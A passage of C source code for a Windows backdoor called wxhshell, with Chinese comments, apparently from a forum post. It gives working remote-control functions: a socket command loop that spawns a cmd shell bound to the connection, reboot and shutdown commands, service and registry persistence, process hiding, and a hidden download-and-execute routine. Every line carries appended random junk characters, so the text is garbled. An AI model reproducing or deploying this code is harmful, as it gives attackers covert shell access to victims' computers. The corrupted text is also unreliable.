  else { /C<} :R  
jP @t!=  
    switch(cmd[0]) { iEFS>kL8e  
  cNN_KA  
  // 帮助 /-pop]L  
  case '?': { RmN\;G?}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "2"*3R<Y  
    break; )fZ5.W8UE]  
  } @7PE&3  
  // 安装 `0ju=FP'u5  
  case 'i': { BJ/#V)  
    if(Install()) 9.goO|~B~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DA4!-\bt@  
    else `~t$k7wm=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pb D|7IM  
    break; qj|B #dU  
    } ;rta#pRn  
  // 卸载 A%M&{S'+|X  
  case 'r': { QQjMC'  
    if(Uninstall()) 6 ud<B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ldoN!J  
    else ~w%Z Bp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,v1-y ?kB  
    break; _jb"@TY  
    } VA'<  
  // 显示 wxhshell 所在路径 bOmM~pD  
  case 'p': { o9HDxS$~^  
    char svExeFile[MAX_PATH]; Ll&5#q  
    strcpy(svExeFile,"\n\r"); +ACV,GG  
      strcat(svExeFile,ExeFile); -ap;Ul?  
        send(wsh,svExeFile,strlen(svExeFile),0); e;}5~dSi  
    break; >Q\H1|?  
    } ELNA-ZKp  
  // 重启 J=]w$e ?.P  
  case 'b': { Zr 2QeLQC(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); FkE CY  
    if(Boot(REBOOT)) B 9]sSx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {78*S R  
    else { {K0T%.G  
    closesocket(wsh); uJp}9B60_  
    ExitThread(0); g9"_BG  
    } <F.Ol/'h  
    break; 7#|NQ=yd  
    } Sdt2D  
  // 关机 &FvNz  
  case 'd': { lB\j>.c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?y45#Tk]  
    if(Boot(SHUTDOWN)) Q}Vho.N@=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !%M-w0vC9  
    else { :U[_V4? 7  
    closesocket(wsh); E 0pF; P5  
    ExitThread(0); ;%z0iZmg  
    } 0Rk'sEX,  
    break; 01q7n`o#zf  
    } @%cJjZ5y  
  // 获取shell s3kEux^  
  case 's': { gZ!(&u  
    CmdShell(wsh); x!.VWGtb  
    closesocket(wsh);  FZ2-e  
    ExitThread(0); hJ4.:  
    break; qK1V!a2  
  } >a-+7{};  
  // 退出 /7"1\s0U  
  case 'x': { |95/'a*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?H c A&  
    CloseIt(wsh); 246lFx G.  
    break; /+1Fa):  
    } `Zi#rr|)L  
  // 离开 o5$K^2^g  
  case 'q': { D\l.?<C  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _0j}(Q>|H#  
    closesocket(wsh); S+>]8ZY  
    WSACleanup(); 2nie I*[  
    exit(1); fY"28#   
    break; EhUy7b,1_  
        } RK3/!C`  
  } n*6s]iG V  
  } `U1%d7[vY  
S&uL9)Glb  
  // 提示信息 Cw|SY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DVcu*UVw  
} n)7icSc  
  } G-(c+6Mn  
6uXYZ.A  
  return; :d2u?+F  
} KE&}*Nf[  
d$,i?d,  
// shell模块句柄 9f6TFdUi"y  
int CmdShell(SOCKET sock) q |^O  
{ 0amz#VIB<u  
STARTUPINFO si; k51s*U6=  
ZeroMemory(&si,sizeof(si)); U?lu@5 ^Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O]g+z$2o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -9*WQU9R  
PROCESS_INFORMATION ProcessInfo; l9ihW^  
char cmdline[]="cmd"; @ty|HXW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Lb& 2 PAG  
  return 0; EDQJ>c  
} r"[T9  
nm-Y?!J  
// 自身启动模式 D)sEAfvX  
int StartFromService(void) G!;[If :<e  
{ u .=;A#  
typedef struct uRy6~'  
{ |)-:w?  
  DWORD ExitStatus; UQcmHZ+lf  
  DWORD PebBaseAddress; ggTjd"|)  
  DWORD AffinityMask; =|%T E   
  DWORD BasePriority; W7o/  
  ULONG UniqueProcessId; {|E7N"Qzg  
  ULONG InheritedFromUniqueProcessId; ,h._iO)I^  
}   PROCESS_BASIC_INFORMATION; p,8Z{mLn  
bN&da [K  
PROCNTQSIP NtQueryInformationProcess; r?I(me,  
nu<!/O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tp^'W7E  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a&hM:n4P  
JrAc]=  
  HANDLE             hProcess; @#tSx  
  PROCESS_BASIC_INFORMATION pbi; T_Y}1n|7[  
{@$3bQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dSZ#,Ea"  
  if(NULL == hInst ) return 0; //@=Q!MW  
m6cW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [AzN&yACE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fNJ;{&#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;LE @Ezx  
fdG.=7`  
  if (!NtQueryInformationProcess) return 0; 6I#DlAU@v  
$IT9@}*{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?63JQ.;  
  if(!hProcess) return 0; uP]o39b;V  
rfi`Bp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FO=1P7  
uCfp+  
  CloseHandle(hProcess); ;/T-rVND  
,-Nk-g  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rtx]dc1m  
if(hProcess==NULL) return 0; 6w;|-/:`  
)x&@j4,  
HMODULE hMod; hFfaaB  
char procName[255]; ! VZj!\I  
unsigned long cbNeeded; >pvg0Fh  
>NA7,Z2.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  Zwns|23n  
r![JPhei  
  CloseHandle(hProcess); n^02@Aw  
Ds_ "m,  
if(strstr(procName,"services")) return 1; // 以服务启动 Z|% 2495\  
Y`?X Fy:  
  return 0; // 注册表启动 [Mc5N  
} # :w2Hf6Q  
J6ShIPc  
// 主模块 A_~5|  
int StartWxhshell(LPSTR lpCmdLine) MjC%6%HI  
{ "\r~,S{:  
  SOCKET wsl; <SZO- -+lB  
BOOL val=TRUE; XSjelA?  
  int port=0; 4"x;XVNM[  
  struct sockaddr_in door; iBC>w+t14  
( v:ek_  
  if(wscfg.ws_autoins) Install(); ><R.z( 4%  
i(iP}: 3  
port=atoi(lpCmdLine); ?(8%SPRk  
y?#J`o- O  
if(port<=0) port=wscfg.ws_port; B!ibE<7,  
g+)\ /n|  
  WSADATA data; lkg*AAR?'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z[S+L"0  
hyfnIb@~}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PZRn6Tc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .{ a2z*o  
  door.sin_family = AF_INET; *;E+9^:V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {b0&qV   
  door.sin_port = htons(port); 'A!/pUML  
F(~_L.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $uK"@Mw  
closesocket(wsl); 6H,=S`V]EK  
return 1; /JubiLEK  
} :;;WK~* #  
6oh@$.ThG  
  if(listen(wsl,2) == INVALID_SOCKET) { X/K)kIi  
closesocket(wsl); 'Sy *'&  
return 1; -Dxhq& }Y  
} I''R\B p  
  Wxhshell(wsl); etMh=/NFV  
  WSACleanup(); 2qMsa>~  
Z WRRh^  
return 0; bH&)rn  
G? gXK W  
} D *I;|.=u  
35 5Sd;*  
// 以NT服务方式启动 D>b5Uwt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) auTTvJ  
{ 'Rd*X6dv  
DWORD   status = 0; @@3,+7%1  
  DWORD   specificError = 0xfffffff; w1@b5-  
s~X*U&}5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FEZ"\|I|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +VLe'|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x36#x  
  serviceStatus.dwWin32ExitCode     = 0; "E)++\JL  
  serviceStatus.dwServiceSpecificExitCode = 0; ViwpyC'v  
  serviceStatus.dwCheckPoint       = 0; (S)E|;f%C  
  serviceStatus.dwWaitHint       = 0; A :bPIXb  
.n& Cq+U;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A9l})_~i  
  if (hServiceStatusHandle==0) return; ~/jxB)t  
v;]I^Kq  
status = GetLastError(); BT#=Xh  
  if (status!=NO_ERROR) k3>ur>aW  
{ $W {yK+N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +}1hU :qW  
    serviceStatus.dwCheckPoint       = 0; AOlt,MNpQ  
    serviceStatus.dwWaitHint       = 0; Z\=04[  
    serviceStatus.dwWin32ExitCode     = status; j H.Ju|nO  
    serviceStatus.dwServiceSpecificExitCode = specificError; hQ}7Z&O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c\)&yGE  
    return; cP@F #!2  
  } f UF;SqT  
r ctSS:1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s |gD  
  serviceStatus.dwCheckPoint       = 0; $rpTs?j*K$  
  serviceStatus.dwWaitHint       = 0; ]r6BLZ[%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); leES YSY:  
} ke9QT#~p!-  
;j>Vt?:Pw  
// 处理NT服务事件,比如:启动、停止 v=.z|QD^1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &H4uvJ_<  
{ ?)mhJ/IT  
switch(fdwControl) _@/C~  
{ :\+{;;a@  
case SERVICE_CONTROL_STOP: O/Y\ps3r  
  serviceStatus.dwWin32ExitCode = 0; C?60`^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +eBMn(7Cgv  
  serviceStatus.dwCheckPoint   = 0; A!ioji+{[  
  serviceStatus.dwWaitHint     = 0; {;iH Yr-zs  
  { d]7|v r]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tSb?]J  
  } uqa4&2(I=j  
  return; UROj9CO v  
case SERVICE_CONTROL_PAUSE: ?H[5O+P[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8{G?92 {rN  
  break; Q\27\2  
case SERVICE_CONTROL_CONTINUE: C^/ -lc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lbB.*oQ  
  break; Rct"\{V')n  
case SERVICE_CONTROL_INTERROGATE: T1(j l)  
  break; Cv>yAt.3  
}; 3_L1Wm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xz"Z3B  
} ke}Y 2sB  
,yk PQzO  
// 标准应用程序主函数 -OrY{^F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;v,9 v;T  
{ Jm %ynW  
%Ui{=920  
// 获取操作系统版本 %wt2F-u  
OsIsNt=GetOsVer(); i5 L:L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hz]4AS  
!f\?c7  
  // 从命令行安装 Gpdv]SON{  
  if(strpbrk(lpCmdLine,"iI")) Install(); dNUR)X#e  
vXy uEEe  
  // 下载执行文件 &\1'1`N1  
if(wscfg.ws_downexe) { E[jXUOu-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q(IJD4  
  WinExec(wscfg.ws_filenam,SW_HIDE); R%b*EBZ  
} /`+Hw dk  
Ig1lol:;  
if(!OsIsNt) { <H5n>3#pH  
// 如果时win9x,隐藏进程并且设置为注册表启动 aFRTNu/r  
HideProc(); 9Qzjqq:"Li  
StartWxhshell(lpCmdLine); qnq%mwDeD  
} mW~i c  
else u/gm10<OWa  
  if(StartFromService()) =PNdP  
  // 以服务方式启动 ]{IR&{EI-  
  StartServiceCtrlDispatcher(DispatchTable); lx{.H,1~  
else ,8c dXt   
  // 普通方式启动 =5y`(0 I`U  
  StartWxhshell(lpCmdLine); B*?ZE4`  
Hva2j<h  
return 0; &l. x:eD  
}
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只看该作者 1 发表于: 2006-10-10
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